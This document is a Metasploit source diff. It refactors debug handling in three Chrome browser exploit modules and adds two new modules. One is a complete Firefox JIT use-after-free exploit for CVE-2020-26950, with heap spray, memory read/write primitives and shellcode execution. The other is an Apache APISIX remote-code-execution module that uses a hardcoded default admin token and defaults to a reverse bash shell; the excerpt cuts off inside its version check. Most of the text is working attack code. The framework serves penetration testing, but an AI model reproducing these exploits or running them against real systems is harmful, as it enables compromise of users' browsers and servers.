b/modules/exploits/multi/browser/chrome_array_map.rb index f1a7884d89..9009fc85df 100644 --- a/modules/exploits/multi/browser/chrome_array_map.rb +++ b/modules/exploits/multi/browser/chrome_array_map.rb @@ -6,7 +6,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking - include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::Remote::HttpServer::BrowserExploit def initialize(info = {}) super( @@ -35,6 +35,11 @@ class MetasploitModule < Msf::Exploit::Remote ['URL', 'https://blog.exodusintel.com/2019/09/09/patch-gapping-chrome/'], ['URL', 'https://lordofpwn.kr/cve-2019-5825-v8-exploit/'], ], + 'Notes' => { + 'Reliability' => [ REPEATABLE_SESSION ], + 'SideEffects' => [ IOC_IN_LOGS ], + 'Stability' => [CRASH_SAFE] + }, 'Arch' => [ ARCH_X64 ], 'Platform' => ['windows', 'osx'], 'DefaultTarget' => 0, @@ -42,18 +47,9 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => '2019-03-07' ) ) - register_advanced_options([ - OptBool.new('DEBUG_EXPLOIT', [false, 'Show debug information during exploitation', false]), - ]) end def on_request_uri(cli, request) - if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*} - print_status("[*] #{request.body}") - send_response(cli, '') - return - end - print_status("Sending #{request.uri} to #{request['User-Agent']}") escaped_payload = Rex::Text.to_unescape(payload.encoded) jscript = %^ @@ -259,20 +255,7 @@ function exploit() { exploit(); ^ - if datastore['DEBUG_EXPLOIT'] - debugjs = %^ -print = function(arg) { - var request = new XMLHttpRequest(); - request.open("POST", "/print", false); - request.send("" + arg); -}; -^ - jscript = "#{debugjs}#{jscript}" - else - jscript.gsub!(%r{//.*$}, '') # strip comments - jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*); - end - + jscript = add_debug_print_js(jscript) html = %( diff --git a/modules/exploits/multi/browser/chrome_jscreate_sideeffect.rb b/modules/exploits/multi/browser/chrome_jscreate_sideeffect.rb index edddb8bb33..a53d0a7550 100644 --- a/modules/exploits/multi/browser/chrome_jscreate_sideeffect.rb +++ b/modules/exploits/multi/browser/chrome_jscreate_sideeffect.rb @@ -7,7 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Post::File - include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::Remote::HttpServer::BrowserExploit def initialize(info = {}) super(update_info(info, @@ -38,24 +38,20 @@ class MetasploitModule < Msf::Exploit::Remote ], 'Arch' => [ ARCH_X64 ], 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => [ REPEATABLE_SESSION ], + 'SideEffects' => [ IOC_IN_LOGS ], + 'Stability' => [CRASH_SAFE] + }, 'Targets' => [ ['Windows 10 - Google Chrome 80.0.3987.87 (64 bit)', {'Platform' => 'win'}], ['macOS - Google Chrome 80.0.3987.87 (64 bit)', {'Platform' => 'osx'}], ], 'DisclosureDate' => '2020-02-19')) - register_advanced_options([ - OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]), - ]) end def on_request_uri(cli, request) - if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*} - print_status("[*] #{request.body}") - send_response(cli, '') - return - end - print_status("Sending #{request.uri} to #{request['User-Agent']}") escaped_payload = Rex::Text.to_unescape(payload.raw) jscript = %Q^ @@ -351,20 +347,7 @@ function exp() { exp(); ^ - if datastore['DEBUG_EXPLOIT'] - debugjs = %Q^ -print = function(arg) { - var request = new XMLHttpRequest(); - request.open("POST", "/print", false); - request.send("" + arg); -}; -^ - jscript = "#{debugjs}#{jscript}" - else - jscript.gsub!(/\/\/.*$/, '') # strip comments - jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*); - end - + jscript = add_debug_print_js(jscript) html = %Q^ diff --git a/modules/exploits/multi/browser/chrome_object_create.rb b/modules/exploits/multi/browser/chrome_object_create.rb index d439db69d5..26c8aaa551 100644 --- a/modules/exploits/multi/browser/chrome_object_create.rb +++ b/modules/exploits/multi/browser/chrome_object_create.rb @@ -7,7 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Post::File - include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::Remote::HttpServer::BrowserExploit include Msf::Payload::Windows::AddrLoader_x64 include Msf::Payload::Windows::ReflectiveDllInject_x64 @@ -47,6 +47,11 @@ class MetasploitModule < Msf::Exploit::Remote 'Arch' => [ ARCH_X64 ], 'Platform' => ['windows', 'osx', 'linux'], 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => [ REPEATABLE_SESSION ], + 'SideEffects' => [ IOC_IN_LOGS ], + 'Stability' => [CRASH_SAFE] + }, 'Targets' => [ [ 'No sandbox escape (--no-sandbox)', {} @@ -63,9 +68,6 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => '2018-09-25' ) ) - register_advanced_options([ - OptBool.new('DEBUG_EXPLOIT', [false, 'Show debug information during exploitation', false]), - ]) deregister_options('DLL') end @@ -74,12 +76,6 @@ class MetasploitModule < Msf::Exploit::Remote end def on_request_uri(cli, request) - if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*} - print_status("[*] #{request.body}") - send_response(cli, '') - return - end - print_status("Sending #{request.uri} to #{request['User-Agent']}") download_payload = '' shellcode = payload.encoded @@ -353,21 +349,7 @@ class MetasploitModule < Msf::Exploit::Remote pwn(); JS - if datastore['DEBUG_EXPLOIT'] - debugjs = <<~JS - print = function(arg) { - var request = new XMLHttpRequest(); - request.open("POST", "/print", false); - request.send("" + arg); - }; - JS - - jscript = "#{debugjs}#{jscript}" - else - jscript.gsub!(%r{//.*$}, '') # strip comments - jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*); - end - + jscript = add_debug_print_js(jscript) html = %( diff --git a/modules/exploits/multi/browser/firefox_jit_use_after_free.rb b/modules/exploits/multi/browser/firefox_jit_use_after_free.rb new file mode 100644 index 0000000000..91c2a53fb9 --- /dev/null +++ b/modules/exploits/multi/browser/firefox_jit_use_after_free.rb @@ -0,0 +1,456 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ManualRanking + + include Msf::Exploit::Remote::HttpServer::BrowserExploit + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Firefox MCallGetProperty Write Side Effects Use After Free Exploit', + 'Description' => %q{ + This modules exploits CVE-2020-26950, a use after free exploit in Firefox. + The MCallGetProperty opcode can be emitted with unmet assumptions resulting + in an exploitable use-after-free condition. + + This exploit uses a somewhat novel technique of spraying ArgumentsData + structures in order to construct primitives. The shellcode is forced into + executable memory via the JIT compiler, and executed by writing to the JIT + region pointer. + + This exploit does not contain a sandbox escape, so firefox must be run + with the MOZ_DISABLE_CONTENT_SANDBOX environment variable set, in order + for the shellcode to run successfully. + + This vulnerability affects Firefox < 82.0.3, Firefox ESR < 78.4.1, and + Thunderbird < 78.4.2, however only Firefox <= 79 is supported as a target. + Additional work may be needed to support other versions such as Firefox 82.0.1. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + '360 ESG Vulnerability Research Institute', # discovery + 'maxpl0it', # writeup and exploit + 'timwr', # metasploit module + ], + 'References' => [ + ['CVE', '2020-26950'], + ['URL', 'https://www.mozilla.org/en-US/security/advisories/mfsa2020-49/#CVE-2020-26950'], + ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=1675905'], + ['URL', 'https://www.sentinelone.com/labs/firefox-jit-use-after-frees-exploiting-cve-2020-26950/'], + ], + 'Arch' => [ ARCH_X64 ], + 'Platform' => ['linux', 'windows'], + 'DefaultTarget' => 0, + 'Targets' => [ + [ 'Automatic', {}], + ], + 'Notes' => { + 'Reliability' => [ REPEATABLE_SESSION ], + 'SideEffects' => [ IOC_IN_LOGS ], + 'Stability' => [CRASH_SAFE] + }, + 'DisclosureDate' => '2020-11-18' + ) + ) + end + + def create_js_shellcode + shellcode = "AAAA\x00\x00\x00\x00" + "\x90\x90\x90\x90\x90\x90\x90\x90" + payload.encoded + if (shellcode.length % 8 > 0) + shellcode += "\x00" * (8 - shellcode.length % 8) + end + shellcode_js = '' + for chunk in 0..(shellcode.length / 8) - 1 + label = (0x41 + chunk / 26).chr + (0x41 + chunk % 26).chr + shellcode_chunk = shellcode[chunk * 8..(chunk + 1) * 8] + shellcode_js += label + ' = ' + shellcode_chunk.unpack('E').first.to_s + "\n" + end + shellcode_js + end + + def on_request_uri(cli, request) + print_status("Sending #{request.uri} to #{request['User-Agent']}") + shellcode_js = create_js_shellcode + jscript = <<~JS + // Triggers the vulnerability + function jitme(cons, interesting, i) { + interesting.x1 = 10; // Make sure the MSlots is saved + + new cons(); // Trigger the vulnerability - Reallocates the object slots + + // Allocate a large array on top of this previous slots location. + let target = [0,1,2,3,4,5,6,7,8,9,10,11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480, 481, 482, 483, 484, 485, 486, 487, 488, 489]; // Goes on to 489 to be close to the number of properties ‘cons’ has + + // Avoid Elements Copy-On-Write by pushing a value + target.push(i); + + // Write the Initialized Length, Capacity, and Length to be larger than it is + // This will work when interesting == cons + interesting.x1 = 3.476677904727e-310; + interesting.x0 = 3.4766779039175e-310; + + // Return the corrupted array + return target; + } + + // Initialises vulnerable objects + function init() { + // arr will contain our sprayed objects + var arr = []; + + // We'll create one object... + var cons = function() {}; + for(j=0; j<512; j++) cons['x'+j] = j; // Add 512 properties (Large jemalloc allocation) + arr.push(cons); + + // ...then duplicate it a whole bunch of times + // The number of times has two uses: + // - Heap spray - Stops any already freed objects getting in our way + // - Allows us to get the jitme function compiled + for (var i = 0; i < 20000; i++) arr.push(Object.assign(function(){}, cons)); + + // Return the array + return arr; + } + + // Global that holds the total number of objects in our original spray array + TOTAL = 0; + + // Global that holds the target argument so it can be used later + arg = 0; + + evil = 0; + + // setup_prim - Performs recursion to get the vulnerable arguments object + // arguments[0] - Original spray array + // arguments[1] - Recursive depth counter + // arguments[2]+ - Numbers to pad to the right reallocation size + function setup_prim() { + // Base case of our recursion + // If we have reached the end of the original spray array... + if(arguments[1] == TOTAL) { + + // Delete an argument to generate the RareArgumentsData pointer + delete arguments[3]; + + // Read out of bounds to the next object (sprayed objects) + // Check whether the RareArgumentsData pointer is null + if(evil[511] != 0) return arguments; + + // If it was null, then we return and try the next one + return 0; + } + + // Get the cons value + let cons = arguments[0][arguments[1]]; + + // Move the pointer (could just do cons.p481 = 481, but this is more fun) + new cons(); + + // Recursive call + res = setup_prim(arguments[0], arguments[1]+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480 ); + + // If the returned value is non-zero, then we found our target ArgumentsData object, so keep returning it + if(res != 0) return res; + + // Otherwise, repeat the base case (delete an argument) + delete arguments[3]; + + // Check if the next object has a null RareArgumentsData pointer + if(evil[511] != 0) return arguments; // Return arguments if not + + // Otherwise just return 0 and try the next one + return 0; + } + + // weak_read32 - Bit-by-bit read + function weak_read32(arg, addr) { + // Set the RareArgumentsData pointer to the address + evil[511] = addr; + + // Used to hold the leaked data + let val = 0; + + // Read it bit-by-bit for 32 bits + // Endianness is taken into account + for(let i = 32; i >= 0; i--) { + val = val << 1; // Shift + if(arg[i] == undefined) { + val = val | 1; + } + } + + // Return the integer + return val; + } + + // weak_read64 - Bit-by-bit read using BigUint64Array + function weak_read64(arg, addr) { + // Set the RareArgumentsData pointer to the address + evil[511] = addr; + + // Used to hold the leaked data + val = new BigUint64Array(1); + val[0] = 0n; + + // Read it bit-by-bit for 64 bits + for(let i = 64; i >= 0; i--) { + val[0] = val[0] << 1n; + if(arg[i] == undefined) { + val[0] = val[0] | 1n; + } + } + + // Return the BigInt + return val[0]; + } + + // write_nan - Uses the bit-setting capability of the bitmap to create the NaN-Box + function write_nan(arg, addr) { + evil[511] = addr; + for(let i = 64 - 15; i < 64; i++) delete arg[i]; // Delete bits 49-64 to create 0xfffe pointer box + } + + // write - Write a value to an address + function write(address, value) { + // Set the fake ArrayBuffer backing store address + address = dbl_to_bigint(address) + target_uint32arr[14] = parseInt(address) & 0xffffffff + target_uint32arr[15] = parseInt(address >> 32n); + + // Use the fake ArrayBuffer backing store to write a value to a location + value = dbl_to_bigint(value); + fake_arrbuf[1] = parseInt(value >> 32n); + fake_arrbuf[0] = parseInt(value & 0xffffffffn); + } + + // addrof - Gets the address of a given object + function addrof(arg, o) { + // Set the 5th property of the arguments object + arg[5] = o; + + // Get the address of the 5th property + target = ad_location + (7n * 8n) // [len][deleted][0][1][2][3][4][5] (index 7) + + // Set the fake ArrayBuffer backing store to point to this location + target_uint32arr[14] = parseInt(target) & 0xffffffff; + target_uint32arr[15] = parseInt(target >> 32n); + + // Read the address of the object o + return (BigInt(fake_arrbuf[1] & 0xffff) << 32n) + BigInt(fake_arrbuf[0]); + } + + // shellcode - Constant values which hold our shellcode to pop xcalc. + function shellcode(){ + #{shellcode_js} + } + + // helper functions + var conv_buf = new ArrayBuffer(8); + var f64_buf = new Float64Array(conv_buf); + var u64_buf = new Uint32Array(conv_buf); + + function dbl_to_bigint(val) { + f64_buf[0] = val; + return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); + } + + function bigint_to_dbl(val) { + u64_buf[0] = Number(val & 0xffffffffn); + u64_buf[1] = Number(val >> 32n); + return f64_buf[0]; + } + + function main() { + let i = 0; + // ensure the shellcode is in jit rwx memory + for(i = 0;i < 0x5000; i++) shellcode(); + + // The jitme function returns arrays. We'll save them, just in case. + let arr_saved = []; + + // Get the sprayed objects + let arr = init(); + + // This is our target object. Choosing one of the end ones so that there is enough time for jitme to be compiled + let interesting = arr[arr.length - 10]; + + // Iterate over the vulnerable object array + for (i = 0; i < arr.length; i++) { + // Run the jitme function across the array + corr_arr = jitme(arr[i], interesting, i); + + // Save the generated array. Never trust the garbage collector. + arr_saved[i] = corr_arr; + + // Find the corrupted array + if(corr_arr.length != 491) { + // Save it for future evil + evil = corr_arr + break; + } + } + + if(evil == 0) { + print("Failure: Failed to get the corrupted array"); + return; + } + print("got the corrupted array " + evil.length); + + TOTAL=arr.length; + arg = setup_prim(arr, i+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480); + + old_rareargdat_ptr = evil[511]; + print("Leaked nursery location: " + dbl_to_bigint(old_rareargdat_ptr).toString(16)); + + iterator = dbl_to_bigint(old_rareargdat_ptr); // Start from this value + counter = 0; // Used to prevent a while(true) situation + while(counter < 0x200) { + // Read the current address + output = weak_read32(arg, bigint_to_dbl(iterator)); + + // Check if it's the expected size value for our ArgumentsObject object + if(output == 0x1e10 || output == 0x1e20) { + // If it is, then read the ArgumentsData pointer + ad_location = weak_read64(arg, bigint_to_dbl(iterator + 8n)); + + // Get the pointer in ArgumentsData to RareArgumentsData + ptr_in_argdat = weak_read64(arg, bigint_to_dbl(ad_location + 8n)); + + // ad_location + 8 points to the RareArgumentsData pointer, so this should match + // We do this because after spraying arguments, there may be a few ArgumentObjects to go past + if((ad_location + 8n) == ptr_in_argdat) break; + } + // Iterate backwards + iterator = iterator - 8n; + + // Increment counter + counter += 1; + } + + if(counter == 0x200) { + print("Failure: Failed to get AD location"); + return; + } + + print("AD location: " + ad_location.toString(16)); + + // The target Uint32Array - A large size value to: + // - Help find the object (Not many 0x00101337 values nearby!) + // - Give enough space for 0xfffff so we can fake a Nursery Cell ((ptr & 0xfffffffffff00000) | 0xfffe8 must be set to 1 to avoid crashes) + target_uint32arr = new Uint32Array(0x101337); + + // Find the Uint32Array starting from the original leaked Nursery pointer + iterator = dbl_to_bigint(old_rareargdat_ptr); + counter = 0; // Use a counter + while(counter < 0x5000) { + + // Read a memory address + output = weak_read32(arg, bigint_to_dbl(iterator)); + + // If we have found the right size value, we have found the Uint32Array! + if(output == 0x101337) break; + + // Check the next memory location + iterator = iterator + 8n; + + // Increment the counter + counter += 1; + } + + if(counter == 0x5000) { + print("Failure: Failed to find the Uint32Array"); + return; + } + + // Subtract from the size value address to get to the start of the Uint32Array + arr_buf_addr = iterator - 40n; + + // Get the Array Buffer backing store + arr_buf_loc = weak_read64(arg, bigint_to_dbl(iterator + 16n)); + print("AB Location: " + arr_buf_loc.toString(16)); + + // Create a fake ArrayBuffer through cloning + iterator = arr_buf_addr; + for(i=0;i<64;i++) { + output = weak_read32(arg, bigint_to_dbl(iterator)); + target_uint32arr[i] = output; + iterator = iterator + 4n; + } + + // Cell Header - Set it to Nursery to pass isNursery() + target_uint32arr[0x3fffa] = 1; + + // Write an unboxed pointer to arguments[0] + evil[512] = bigint_to_dbl(arr_buf_loc); + + // Make it NaN-Boxed + write_nan(arg, bigint_to_dbl(ad_location + 16n)); // Points to evil[512]/arguments[0] + + // From here we have a fake UintArray in arg[0] + // Pointer can be changed using target_uint32arr[14] and target_uint32arr[15] + fake_arrbuf = arg[0]; + + // Get the address of the shellcode function object + shellcode_addr = addrof(arg, shellcode); + print("Function is at: " + shellcode_addr.toString(16)); + + // Get the jitInfo pointer in the JSFunction object + jitinfo = weak_read64(arg, bigint_to_dbl(shellcode_addr + 0x30n)); // JSFunction.u.native.extra.jitInfo_ + print(" jitinfo: " + jitinfo.toString(16)); + + // We can then fetch the RX region from here + rx_region = weak_read64(arg, bigint_to_dbl(jitinfo)); + print(" RX Region: " + rx_region.toString(16)); + + iterator = rx_region; // Start from the RX region + found = false + // Iterate to find the 0x41414141 value in-memory. 8 bytes after this is the start of the shellcode. + for(i = 0; i < 0x800; i++) { + data = weak_read64(arg, bigint_to_dbl(iterator)); + if(data == 0x41414141n) { + iterator = iterator + 8n; + found = true; + break; + } + iterator = iterator + 8n; + } + if(!found) { + print("Failure: Failed to find the JIT start"); + return; + } + + // We now have a pointer to the start of the shellcode + shellcode_location = iterator; + print("Shellcode start: " + shellcode_location.toString(16)); + + // And can now overwrite the previous jitInfo pointer with our shellcode pointer + write(bigint_to_dbl(jitinfo), bigint_to_dbl(shellcode_location)); + + print("Triggering..."); + shellcode(); // Triggering our shellcode is as simple as calling the function again. + } + main(); + JS + + jscript = add_debug_print_js(jscript) + html = %( + + + +) + send_response(cli, html, { + 'Content-Type' => 'text/html', + 'Cache-Control' => 'no-cache, no-store, must-revalidate', + 'Pragma' => 'no-cache', 'Expires' => '0' + }) + end + +end diff --git a/modules/exploits/multi/http/apache_apisix_api_default_token_rce.rb b/modules/exploits/multi/http/apache_apisix_api_default_token_rce.rb new file mode 100644 index 0000000000..be7cb93d04 --- /dev/null +++ b/modules/exploits/multi/http/apache_apisix_api_default_token_rce.rb @@ -0,0 +1,270 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'APISIX Admin API default access token RCE', + 'Description' => %q{ + Apache APISIX has a default, built-in API token edd1c9f034335f136f87ad84b625c8f1 that can be used to access + all of the admin API, which leads to remote LUA code execution through the script parameter added in the 2.x + version. This module also leverages another vulnerability to bypass the IP restriction plugin. + }, + 'Author' => [ + 'Heyder Andrade ', # module development and debugging + 'YuanSheng Wang ' # discovered + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2020-13945'], + ['CVE', '2022-24112'], + ['URL', 'https://github.com/apache/apisix/pull/2244'], + ['URL', 'https://seclists.org/oss-sec/2020/q4/187'], + ['URL', 'https://www.openwall.com/lists/oss-security/2022/02/11/3'] + ], + 'DisclosureDate' => '2020-12-07', + 'Arch' => ARCH_CMD, + 'Platform' => %w[unix], + 'Targets' => [ + [ + 'Automatic', { 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } + ] + ], + 'Privileged' => false, + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + register_options([ + OptString.new('TARGETURI', [true, 'Path to the APISIX DocumentRoot', '/apisix']), + OptString.new('API_KEY', [true, 'Admin API KEY (Default: edd1c9f034335f136f87ad84b625c8f1)', 'edd1c9f034335f136f87ad84b625c8f1']), + OptString.new('ALLOWED_IP', [true, 'IP in the allowed list', '127.0.0.1']) + ]) + end + + def check + print_status("Checking component version to #{datastore['RHOST']}:#{datastore['RPORT']}") + # batch request is the preferred method because it bypass the ip-restriction plugin + res = nil + if batch_request_enabled? + + pipeline = [ + { + method: 'GET', + path: "#{target_uri.path}/admin/routes" + } + ] + res = batch_request(batch_body(pipeline)) + vprint_good('Can perform authenticated requests through batch requests') if res && res.code == 200 + + pipeline = [ + { + method: 'GET', + path: "#{target_uri.path}/admin/routes/index" + } + ] + res = batch_request(batch_body(pipeline)) + + else + vprint_error('The batch-requests plugin is not enabled') + + vprint_good('There is direct access to the routes using the provided token') if direct_access? + + res = apisix_request({ + 'uri' => normalize_uri(target_uri.path, Rex::Text.rand_text_alpha_lower(6)), + 'method' => 'GET' + }) + + end + unless res && res.headers.key?('Server') + return Exploit::CheckCode::Unknown('Unable to determine which web server is running') + end + + res.headers['Server'].match(%r{(.*)/([\d|.]+)$}) + + server = Regexp.last_match(1) || nil + version = Rex::Version.new(Regexp.last_match(2)) || nil + + if server && server.match(/APISIX/) + vprint_status("Found an #{server} #{version} http server header") + return Exploit::CheckCode::Appears if version > 